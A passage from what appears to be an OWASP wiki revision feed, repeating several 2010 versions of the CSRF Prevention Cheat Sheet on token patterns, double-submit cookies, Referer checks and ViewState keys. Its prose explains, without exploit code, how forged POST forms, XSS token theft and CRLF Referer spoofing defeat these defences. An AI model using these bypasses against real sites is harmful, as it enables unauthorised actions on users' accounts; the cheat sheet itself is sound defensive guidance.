While this approach is effective in mitigating the risk of cross-site request forgery, including authenticated session identifiers in HTTP parameters may increase the overall risk of session hijacking. Architects and developers must ensure that no network appliances or custom application code or modules explicitly log or otherwise disclose HTTP POST parameters. An attacker that is able to obtain access to repositories or channels that leak HTTP POST parameters will be able to replay the tokens and perform session hijacking attacks. Note, however, that transparently logging all HTTP POST parameters is a rare occurrence across network systems and web applications as doing so will expose significant sensitive data aside from session identifiers including passwords, credit card numbers, and or social security numbers. Inclusion of the session identifier within HTML can also be leveraged by cross-site scripting attacks to bypass HTTPOnly protections. Most modern browsers prevent client-side script from accessing HTTPOnly cookies. However, this protection is lost if HTTPOnly session identifiers are placed within HTML as client-side script can easily traverse and extract the identifier from the DOM. Developers are still encouraged to implement the synchronizer token pattern as described in this article and implemented in OWASP CSRFGuard.&lt;br /&gt;
&lt;br /&gt;
[http://directwebremoting.org Direct Web Remoting (DWR)] Java library version 2.0 has CSRF protection built in as it implements the double cookie submission transparently.&lt;br /&gt;
&lt;br /&gt;
=== Prevention Frameworks ===&lt;br /&gt;
&lt;br /&gt;
There are CSRF prevention modules available for J2EE, .Net, and PHP.&lt;br /&gt;
&lt;br /&gt;
[[:Category:OWASP_CSRFGuard_Project | OWASP CSRF Guard (For Java)]]&lt;br /&gt;
&lt;br /&gt;
The OWASP CSRFGuard Project makes use of a unique per-session token verification pattern using a JavaEE filter to mitigate the risk of CSRF attacks. When an HttpSession is first instantiated, CSRFGuard will generate a cryptographically random token using the SecureRandom class to be stored in the session. &lt;br /&gt;
&lt;br /&gt;
CSRFGuard is a &amp;quot;reference implementation&amp;quot;. Developers are encouraged to leverage more tightly integrated solutions for performance (ex: speed of parsing HTML) and technical (ex: AJAX requests) challenges.&lt;br /&gt;
&lt;br /&gt;
'''Similar Projects'''&lt;br /&gt;
&lt;br /&gt;
CSRFGuard has been implemented in other languages besides Java. They are: &lt;br /&gt;
&lt;br /&gt;
*[[PHP CSRF Guard]]&lt;br /&gt;
*[[.Net CSRF Guard]] &lt;br /&gt;
&lt;br /&gt;
== Challenge-Response ==&lt;br /&gt;
&lt;br /&gt;
Challenge-Response is another defense option for CSRF. The following are some examples of challenge-response options.&lt;br /&gt;
 &lt;br /&gt;
*CAPTCHA&lt;br /&gt;
*Re-Authentication (password)&lt;br /&gt;
*One-time Token&lt;br /&gt;
&lt;br /&gt;
While challenge-response is a very strong defense to CSRF (assuming proper implementation), it does impact user experience. For applications in need of high security, tokens (transparent) and challenge-response should be used on high risk functions.&lt;br /&gt;
&lt;br /&gt;
= Client/User Prevention =&lt;br /&gt;
&lt;br /&gt;
Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow best practices to mitigate risk. Some mitigating include: &lt;br /&gt;
&lt;br /&gt;
* Logoff immediately after using a Web application &lt;br /&gt;
* Do not allow your browser to save username/passwords, and do not allow sites to “remember” your login &lt;br /&gt;
* Do not use the same browser to access sensitive applications and to surf the Internet freely (tabbed browsing). &lt;br /&gt;
&lt;br /&gt;
Integrated HTML-enabled mail/browser and newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack. &lt;br /&gt;
&lt;br /&gt;
= No Cross-Site Scripting (XSS) Vulnerabilities =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting is not necessary for CSRF to work. However, all stored cross-site scripting attacks and special case reflected cross-site scripting attacks can be used to defeat token based CSRF defenses, since a malicious XSS script can simply read the site generated token from the response, and include that token with a forged request. This technique is exactly how the [http://en.wikipedia.org/wiki/Samy_(XSS) MySpace (Samy) worm] defeated MySpace's anti CSRF defenses in 2005, which enabled the worm to propagate. XSS cannot defeat challenge-response defenses such as Captcha, re-authentication or one-time passwords. It is imperative that no XSS vulnerabilities are present to ensure that CSRF defenses can't be circumvented. Please see the OWASP [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheat Sheet]] for detailed guidance on how to prevent XSS flaws.&lt;br /&gt;
&lt;br /&gt;
= Checking Referer Header =&lt;br /&gt;
&lt;br /&gt;
The Checking of the http Referer can be used to prevent CSRF.  The use of a checking the http Referer was used to patch the [http://www.kb.cert.org/vuls/id/643049 most dangerous csrf vulnerability] ever discovered.   This method is desirable for securing embedded network hardware such as modems, routers, and printers because it does not increase memory requirements.  The major limitation is that browsers will omit the Referer in the http header when they are being used over HTTPS.  This restriction does not apply for embedded network hardware because HTTPS is not used.  There are two known methods of bypass this method of CSRF protection.  A [http://secunia.com/advisories/22467/ CRLF vulnerability] in the http client could allow an attacker manipulate the HTTP request header and thus spoof the referer.  The other method is using XSS to write a form to a page on the target domain and then automatically submit the request. &lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
&lt;br /&gt;
'''Cross-Site Request Forgery (CSRF)'''&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
'''How to Review Code for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Code_Review_Project | OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues]]. &lt;br /&gt;
&lt;br /&gt;
'''How to Test for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Testing_Project | OWASP Testing Guide]] article on how to [[Testing_for_CSRF_(OWASP-SM-005) | Test for CSRF Vulnerabilities]]. &lt;br /&gt;
&lt;br /&gt;
'''CSRF Testing Tool'''&lt;br /&gt;
&lt;br /&gt;
Check out the [[:Category:OWASP_CSRFTester_Project | OWASP CSRF Tester]] tool which allows you to test for CSRF vulnerabilities. This tool is also written in Java. &lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
[http://www.isecpartners.com/files/XSRF_Paper_0.pdf Cross Site Reference Forgery: An introduction to a common web application weakness]&lt;br /&gt;
&lt;br /&gt;
[http://www.freedom-to-tinker.com/sites/default/files/csrf.pdf Cross-Site Request Forgeries: Exploitation and Prevention]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Paul Petefish - paulpetefish@solutionary.com&lt;br /&gt;
&lt;br /&gt;
Eric Sheridan - eric.sheridan@aspectsecurity.com&lt;br /&gt;
&lt;br /&gt;
Dave Wichers - dave.wichers@aspectsecurity.com &lt;br /&gt;
&lt;br /&gt;
[[Category:How_To]] [[Category:Cheatsheets]] [[Category:OWASP_Document]] [[Category:OWASP_Top_Ten_Project]]&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=87318</id>
		<title>Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=87318"/>
				<updated>2010-08-04T19:26:46Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious Web site, email, blog, instant message, or program causes a user’s Web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful cross-site request forgery attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user's context. In affect, CSRF attacks are used by an attacker to make a target system perform a function (funds Transfer, form submission etc.) via the target's browser without knowledge of the target user, at least until the unauthorized function has been committed.&lt;br /&gt;
&lt;br /&gt;
Impacts of successful CSRF exploits vary greatly based on the role of the victim. When targeting a normal user, a successful CSRF attack can compromise end-user data and their associated functions. If the targeted end user is an administrator account, a CSRF attack can compromise the entire Web application. The sites that are more likely to be attacked are community Websites (social networking, email) or sites that have high dollar value accounts associated with them (banks, stock brokerages, bill pay services). This attack can happen even if the user is logged into a Web site using strong encryption (HTTPS). Utilizing social engineering, an attacker will embed malicious HTML or JavaScript code into an email or Website to request a specific 'task url'. The task then executes with or without the user's knowledge, either directly or by utilizing a Cross-site Scripting flaw (ex: Samy MySpace Worm).&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF, please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
= Prevention Measures That Do NOT Work =&lt;br /&gt;
&lt;br /&gt;
'''Using a Secret Cookie'''&lt;br /&gt;
&lt;br /&gt;
Remember that all cookies, even the secret ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request. &lt;br /&gt;
&lt;br /&gt;
'''Only Accepting POST Requests'''&lt;br /&gt;
&lt;br /&gt;
Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in an attacker's Website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else.&lt;br /&gt;
&lt;br /&gt;
'''Multi-Step Transactions'''&lt;br /&gt;
&lt;br /&gt;
Multi-Step transactions are not an adequate prevention of CSRF. As long as an attacker can predict or deduce each step of the completed transaction, then CSRF is possible.&lt;br /&gt;
&lt;br /&gt;
'''URL Rewriting'''&lt;br /&gt;
&lt;br /&gt;
This might be seen as a useful CSRF prevention technique as the attacker can not guess the victim's session ID. However, the user’s credential is exposed over the URL.&lt;br /&gt;
&lt;br /&gt;
= General Recommendation: Synchronizer Token Pattern =&lt;br /&gt;
&lt;br /&gt;
In order to facilitate a &amp;quot;transparent but visible&amp;quot; CSRF solution, developers are encouraged to adopt the Synchronizer Token Pattern (http://www.corej2eepatterns.com/Design/PresoDesign.htm). The synchronizer token pattern requires the generating of random &amp;quot;challenge&amp;quot; tokens that are associated with the user's current session. These challenge tokens are the inserted within the HTML forms and links associated with sensitive server-side operations. When the user wishes to invoke these sensitive operations, the HTTP request should include this challenge token. It is then the responsibility of the server application to verify the existence and correctness of this token. By including a challenge token with each request, the developer has a strong control to verify that the user actually intended to submit the desired requests. Inclusion of a required security token in HTTP requests associated with sensitive business functions helps mitigate CSRF attacks as successful exploitation assumes the attacker knows the randomly generated token for the target victim's session. This is analogous to the attacker being able to guess the target victim's session identifier. The following synopsis describes a general approach to incorporate challenge tokens within the request.&lt;br /&gt;
&lt;br /&gt;
When a Web application formulates a request (by generating a link or form that causes a request when submitted or clicked by the user), the application should include a hidden input parameter with a common name such as &amp;quot;CSRFToken&amp;quot;. The value of this token must be randomly generated such that it cannot be guessed by an attacker. Consider leveraging the java.security.SecureRandom class for Java applications to generate a sufficiently long random token. Alternative generation algorithms include the use of 256-bit BASE64 encoded hashes. Developers that choose this generation algorithm must make sure that there is randomness and uniqueness utilized in the data that is hashed to generate the random token.&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;form action=&amp;quot;/transfer.do&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;CSRFToken&amp;quot; value=&amp;quot;OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTVi&lt;br /&gt;
   MGYwMGEwOA==&amp;quot;&amp;gt;&lt;br /&gt;
   …&lt;br /&gt;
   &amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In general, developers need only generate this token once for the current session. After initial generation of this token, the value is stored in the session and is utilized for each subsequent request until the session expires. When a request is issued by the end-user, the server-side component must verify the existence and validity of the token in the request as compared to the token found in the session. If the token was not found within the request or the value provided does not match the value within the session, then the request should be aborted and the event logged as a potential CSRF attack in progress.&lt;br /&gt;
&lt;br /&gt;
To further enhance the security of this proposed design, consider randomizing the CSRF token parameter name and or value for each request. Implementing this approach results in the generation of per-request tokens as opposed to per-session tokens. Note, however, that this may result in usability concerns. For example, the &amp;quot;Back&amp;quot; button browser capability is often hindered as the previous page may contain a token that is no longer valid. Interaction with this previous page will result in a CSRF false positive security event at the server. Regardless of the approach taken, developers are encouraged to protect the CSRF token the same way they protect authenticated session identifiers, such as the use of SSLv3/TLS.&lt;br /&gt;
&lt;br /&gt;
=== Checking Referer Header ===&lt;br /&gt;
&lt;br /&gt;
The Checking of the http Referer can be used to prevent CSRF.  The use of a checking the http Referer was used to patch the [http://www.kb.cert.org/vuls/id/643049 most dangerous csrf vulnerability] ever discovered.   This method is desirable for securing embedded network hardware such as modems, routers, and printers because it does not increase memory requirements.  The major limitation is that browsers will omit the Referer in the http header when they are being used over HTTPS.  This restriction does not apply for embedded network hardware because HTTPS is not used.  There are two known methods of bypass this method of CSRF protection.  A [http://secunia.com/advisories/22467/ CRLF vulnerability] in the http client could allow an attacker manipulate the HTTP request header and thus spoof the referer.  The other method is using XSS to write a form to a page on the target domain and then automatically submit the request. &lt;br /&gt;
&lt;br /&gt;
=== Disclosure of Token in URL ===&lt;br /&gt;
&lt;br /&gt;
Many implementations of this control, such as OWASP CSRFGuard, include the challenge token in GET (URL) requests as well as POST requests. This often implemented as a result of sensitive server-side operations being invoked as a result of embedded links in the page or other general design patterns. These patterns are often implemented without knowledge of CSRF and an understanding of CSRF prevention design strategies. While this control does help mitigate the risk of CSRF attacks, the unique per-session token is being exposed for GET requests. CSRF tokens in GET requests are potentially leaked at several locations: browser history, HTTP log files, network appliances that make a point to log the first line of an HTTP request, and Referrer headers if the protected site links to an external site. The ideal solution is to only include the CSRF token in POST requests and modify server-side actions that have state changing affect to only respond to POST requests. If sensitive server-side actions are guaranteed to only ever respond to POST requests, then there is no need to include the token in GET requests. In most JavaEE web applications, however, HTTP method scoping is rarely ever utilized when retrieving HTTP parameters from a request. Calls to &amp;quot;HttpServletRequest.getParameter&amp;quot; will return a parameter value regardless if it was a GET or POST. This is not to say HTTP method scoping cannot be enforced. It can be achieved if a developer explicitly overrides doPost() in the HttpServlet class or leverages framework specific capabilities such as the AbstractFormController class in Spring. While this is the ideal approach, attempting to retrofit this pattern in existing applications requires significant development time and cost. CSRFGuard and similar solutions attempt to address this concern in a patch-like manner without required the re-design of key application components.&lt;br /&gt;
&lt;br /&gt;
In order for an attacker to successfully carry out a valid CSRF attack against an application that has similar characteristics as described&lt;br /&gt;
above (i.e. CSRF tokens on GET and POST requests, no explicitly enforcing HTTP method scoping), several actions are typically required:&lt;br /&gt;
&lt;br /&gt;
#The victim must be interacting with the application such that a valid CSRF token is generated.&lt;br /&gt;
#The CSRF token must be transmitted in a GET request by interacting with the web page&lt;br /&gt;
#A component with insight into (at least) the first line of the HTTP GET request must process the request at some point between (and including) the browser and the server&lt;br /&gt;
#This same component must capture the token in a repository that is accessible to an attacker (ex: server log files, browser history, etc.)&lt;br /&gt;
#The attacker must parse this repository and retrieve the token.&lt;br /&gt;
#The attacker needs to somehow know what user owns this exposed CSRF token&lt;br /&gt;
#The attacker needs to trick the target victim (i.e. the one owning the CSRF token) into interacting with an HTML document.&lt;br /&gt;
#The victim's session that holds the exposed token must still be valid (i.e. not invalidated, expired, idle/absolute timed-out, etc.).&lt;br /&gt;
&lt;br /&gt;
While placing CSRF tokens in GET requests does present a potential risk as described above, it is very minimal. The likelihood of successfully discovering and exploiting this vulnerability is significantly low. Coupled with strong session management practices (i.e. timeouts), frequent use of SSLv3/TLS, and network based services that do not log this mechanism, there is little risk to the CSRF token being exposed to an attacker. Even if the CSRF token is exposed and the attacker is somehow able to figure how the associated user, the token is only valid for the lifetime of the session. Ultimately, the acceptance of this risk as opposed to the cost of significant architecture design is up to the business.&lt;br /&gt;
&lt;br /&gt;
=== Viewstate (ASP.NET) ===&lt;br /&gt;
&lt;br /&gt;
ASP.NET has an option to maintain your ViewState. The ViewState indicates the status of a page when submitted to the server. The status is defined through a hidden field placed on each page with a &amp;lt;form runat=&amp;quot;server&amp;quot;&amp;gt; control. Viewstate can be used as a CSRF defense, as it is difficult for an attacker to forge a valid Viewstate. It is not impossible to forge a valid Viewstate since it is feasible that parameter values could be obtained or guessed by the attacker. However, if the current session ID is added to the ViewState, it then makes each Viewstate unique, and thus immune to CSRF. &lt;br /&gt;
&lt;br /&gt;
To use the ViewStateUserKey property within the Viewstate to protect against spoofed post backs. Add the following in the OnInit virtual method of the Page-derived class (This property must be set in the Page.Init event)&lt;br /&gt;
&lt;br /&gt;
   protected override OnInit(EventArgs e) {&lt;br /&gt;
      base.OnInit(e); &lt;br /&gt;
      if (User.Identity.IsAuthenticated)&lt;br /&gt;
         ViewStateUserKey = Session.SessionID; }&lt;br /&gt;
&lt;br /&gt;
The following keys the Viewstate to an individual using a unique value of your choice.&lt;br /&gt;
&lt;br /&gt;
    (Page.ViewStateUserKey)&lt;br /&gt;
&lt;br /&gt;
This must be applied in Page_Init because the key has to be provided to ASP.NET before Viewstate is loaded. This option has been available since ASP.NET 1.1.&lt;br /&gt;
&lt;br /&gt;
However, there are [http://keepitlocked.net/archive/2008/05/29/viewstateuserkey-doesn-t-prevent-cross-site-request-forgery.aspx limitations] on this mechanism.  Such as, ViewState MACs are only checked on POSTback, so any other application requests not using postbacks will happily allow CSRF.&lt;br /&gt;
&lt;br /&gt;
=== Double Submit Cookies ===&lt;br /&gt;
&lt;br /&gt;
Double submitting cookies is defined as sending the session ID cookie in two different ways for every form request. First as a traditional header value, and again as a hidden form value. When a user visits a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user's machine. This is typically referred to as the session ID. The site should require every form submission to include this pseudorandom value as a hidden form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. When an attacker submits a form on behalf of a user, he can only modify the values of the form. An attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can send any value he wants with the form, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the form value must be the same, the attacker will be unable to successfully submit a form unless he is able to guess the session ID value.&lt;br /&gt;
&lt;br /&gt;
While this approach is effective in mitigating the risk of cross-site request forgery, including authenticated session identifiers in HTTP parameters may increase the overall risk of session hijacking. Architects and developers must ensure that no network appliances or custom application code or modules explicitly log or otherwise disclose HTTP POST parameters. An attacker that is able to obtain access to repositories or channels that leak HTTP POST parameters will be able to replay the tokens and perform session hijacking attacks. Note, however, that transparently logging all HTTP POST parameters is a rare occurrence across network systems and web applications as doing so will expose significant sensitive data aside from session identifiers including passwords, credit card numbers, and or social security numbers. Inclusion of the session identifier within HTML can also be leveraged by cross-site scripting attacks to bypass HTTPOnly protections. Most modern browsers prevent client-side script from accessing HTTPOnly cookies. However, this protection is lost if HTTPOnly session identifiers are placed within HTML as client-side script can easily traverse and extract the identifier from the DOM. Developers are still encouraged to implement the synchronizer token pattern as described in this article and implemented in OWASP CSRFGuard.&lt;br /&gt;
&lt;br /&gt;
[http://directwebremoting.org Direct Web Remoting (DWR)] Java library version 2.0 has CSRF protection built in as it implements the double cookie submission transparently.&lt;br /&gt;
&lt;br /&gt;
=== Prevention Frameworks ===&lt;br /&gt;
&lt;br /&gt;
There are CSRF prevention modules available for J2EE, .Net, and PHP.&lt;br /&gt;
&lt;br /&gt;
[[:Category:OWASP_CSRFGuard_Project | OWASP CSRF Guard (For Java)]]&lt;br /&gt;
&lt;br /&gt;
The OWASP CSRFGuard Project makes use of a unique per-session token verification pattern using a JavaEE filter to mitigate the risk of CSRF attacks. When an HttpSession is first instantiated, CSRFGuard will generate a cryptographically random token using the SecureRandom class to be stored in the session. &lt;br /&gt;
&lt;br /&gt;
CSRFGuard is a &amp;quot;reference implementation&amp;quot;. Developers are encouraged to leverage more tightly integrated solutions for performance (ex: speed of parsing HTML) and technical (ex: AJAX requests) challenges.&lt;br /&gt;
&lt;br /&gt;
'''Similar Projects'''&lt;br /&gt;
&lt;br /&gt;
CSRFGuard has been implemented in other languages besides Java. They are: &lt;br /&gt;
&lt;br /&gt;
*[[PHP CSRF Guard]]&lt;br /&gt;
*[[.Net CSRF Guard]] &lt;br /&gt;
&lt;br /&gt;
== Challenge-Response ==&lt;br /&gt;
&lt;br /&gt;
Challenge-Response is another defense option for CSRF. The following are some examples of challenge-response options.&lt;br /&gt;
 &lt;br /&gt;
*CAPTCHA&lt;br /&gt;
*Re-Authentication (password)&lt;br /&gt;
*One-time Token&lt;br /&gt;
&lt;br /&gt;
While challenge-response is a very strong defense to CSRF (assuming proper implementation), it does impact user experience. For applications in need of high security, tokens (transparent) and challenge-response should be used on high risk functions.&lt;br /&gt;
&lt;br /&gt;
= Client/User Prevention =&lt;br /&gt;
&lt;br /&gt;
Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow best practices to mitigate risk. Some mitigating include: &lt;br /&gt;
&lt;br /&gt;
* Logoff immediately after using a Web application &lt;br /&gt;
* Do not allow your browser to save username/passwords, and do not allow sites to “remember” your login &lt;br /&gt;
* Do not use the same browser to access sensitive applications and to surf the Internet freely (tabbed browsing). &lt;br /&gt;
&lt;br /&gt;
Integrated HTML-enabled mail/browser and newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack. &lt;br /&gt;
&lt;br /&gt;
= No Cross-Site Scripting (XSS) Vulnerabilities =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting is not necessary for CSRF to work. However, all stored cross-site scripting attacks and special case reflected cross-site scripting attacks can be used to defeat token based CSRF defenses, since a malicious XSS script can simply read the site generated token from the response, and include that token with a forged request. This technique is exactly how the [http://en.wikipedia.org/wiki/Samy_(XSS) MySpace (Samy) worm] defeated MySpace's anti CSRF defenses in 2005, which enabled the worm to propagate. XSS cannot defeat challenge-response defenses such as Captcha, re-authentication or one-time passwords. It is imperative that no XSS vulnerabilities are present to ensure that CSRF defenses can't be circumvented. Please see the OWASP [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheat Sheet]] for detailed guidance on how to prevent XSS flaws.&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
&lt;br /&gt;
'''Cross-Site Request Forgery (CSRF)'''&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
'''How to Review Code for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Code_Review_Project | OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues]]. &lt;br /&gt;
&lt;br /&gt;
'''How to Test for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Testing_Project | OWASP Testing Guide]] article on how to [[Testing_for_CSRF_(OWASP-SM-005) | Test for CSRF Vulnerabilities]]. &lt;br /&gt;
&lt;br /&gt;
'''CSRF Testing Tool'''&lt;br /&gt;
&lt;br /&gt;
Check out the [[:Category:OWASP_CSRFTester_Project | OWASP CSRF Tester]] tool which allows you to test for CSRF vulnerabilities. This tool is also written in Java. &lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
[http://www.isecpartners.com/files/XSRF_Paper_0.pdf Cross Site Reference Forgery: An introduction to a common web application weakness]&lt;br /&gt;
&lt;br /&gt;
[http://www.freedom-to-tinker.com/sites/default/files/csrf.pdf Cross-Site Request Forgeries: Exploitation and Prevention]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Paul Petefish - paulpetefish@solutionary.com&lt;br /&gt;
&lt;br /&gt;
Eric Sheridan - eric.sheridan@aspectsecurity.com&lt;br /&gt;
&lt;br /&gt;
Dave Wichers - dave.wichers@aspectsecurity.com &lt;br /&gt;
&lt;br /&gt;
[[Category:How_To]] [[Category:Cheatsheets]] [[Category:OWASP_Document]] [[Category:OWASP_Top_Ten_Project]]&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=87317</id>
		<title>Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=87317"/>
				<updated>2010-08-04T19:26:03Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: qui&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious Web site, email, blog, instant message, or program causes a user’s Web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful cross-site request forgery attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user's context. In affect, CSRF attacks are used by an attacker to make a target system perform a function (funds Transfer, form submission etc.) via the target's browser without knowledge of the target user, at least until the unauthorized function has been committed.&lt;br /&gt;
&lt;br /&gt;
Impacts of successful CSRF exploits vary greatly based on the role of the victim. When targeting a normal user, a successful CSRF attack can compromise end-user data and their associated functions. If the targeted end user is an administrator account, a CSRF attack can compromise the entire Web application. The sites that are more likely to be attacked are community Websites (social networking, email) or sites that have high dollar value accounts associated with them (banks, stock brokerages, bill pay services). This attack can happen even if the user is logged into a Web site using strong encryption (HTTPS). Utilizing social engineering, an attacker will embed malicious HTML or JavaScript code into an email or Website to request a specific 'task url'. The task then executes with or without the user's knowledge, either directly or by utilizing a Cross-site Scripting flaw (ex: Samy MySpace Worm).&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF, please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
= Prevention Measures That Do NOT Work =&lt;br /&gt;
&lt;br /&gt;
'''Using a Secret Cookie'''&lt;br /&gt;
&lt;br /&gt;
Remember that all cookies, even the secret ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request. &lt;br /&gt;
&lt;br /&gt;
'''Only Accepting POST Requests'''&lt;br /&gt;
&lt;br /&gt;
Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in an attacker's Website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else.&lt;br /&gt;
&lt;br /&gt;
'''Multi-Step Transactions'''&lt;br /&gt;
&lt;br /&gt;
Multi-Step transactions are not an adequate prevention of CSRF. As long as an attacker can predict or deduce each step of the completed transaction, then CSRF is possible.&lt;br /&gt;
&lt;br /&gt;
'''URL Rewriting'''&lt;br /&gt;
&lt;br /&gt;
This might be seen as a useful CSRF prevention technique as the attacker can not guess the victim's session ID. However, the user’s credential is exposed over the URL.&lt;br /&gt;
&lt;br /&gt;
= General Recommendation: Synchronizer Token Pattern =&lt;br /&gt;
&lt;br /&gt;
In order to facilitate a &amp;quot;transparent but visible&amp;quot; CSRF solution, developers are encouraged to adopt the Synchronizer Token Pattern (http://www.corej2eepatterns.com/Design/PresoDesign.htm). The synchronizer token pattern requires the generating of random &amp;quot;challenge&amp;quot; tokens that are associated with the user's current session. These challenge tokens are the inserted within the HTML forms and links associated with sensitive server-side operations. When the user wishes to invoke these sensitive operations, the HTTP request should include this challenge token. It is then the responsibility of the server application to verify the existence and correctness of this token. By including a challenge token with each request, the developer has a strong control to verify that the user actually intended to submit the desired requests. Inclusion of a required security token in HTTP requests associated with sensitive business functions helps mitigate CSRF attacks as successful exploitation assumes the attacker knows the randomly generated token for the target victim's session. This is analogous to the attacker being able to guess the target victim's session identifier. The following synopsis describes a general approach to incorporate challenge tokens within the request.&lt;br /&gt;
&lt;br /&gt;
When a Web application formulates a request (by generating a link or form that causes a request when submitted or clicked by the user), the application should include a hidden input parameter with a common name such as &amp;quot;CSRFToken&amp;quot;. The value of this token must be randomly generated such that it cannot be guessed by an attacker. Consider leveraging the java.security.SecureRandom class for Java applications to generate a sufficiently long random token. Alternative generation algorithms include the use of 256-bit BASE64 encoded hashes. Developers that choose this generation algorithm must make sure that there is randomness and uniqueness utilized in the data that is hashed to generate the random token.&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;form action=&amp;quot;/transfer.do&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;CSRFToken&amp;quot; value=&amp;quot;OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTVi&lt;br /&gt;
   MGYwMGEwOA==&amp;quot;&amp;gt;&lt;br /&gt;
   …&lt;br /&gt;
   &amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
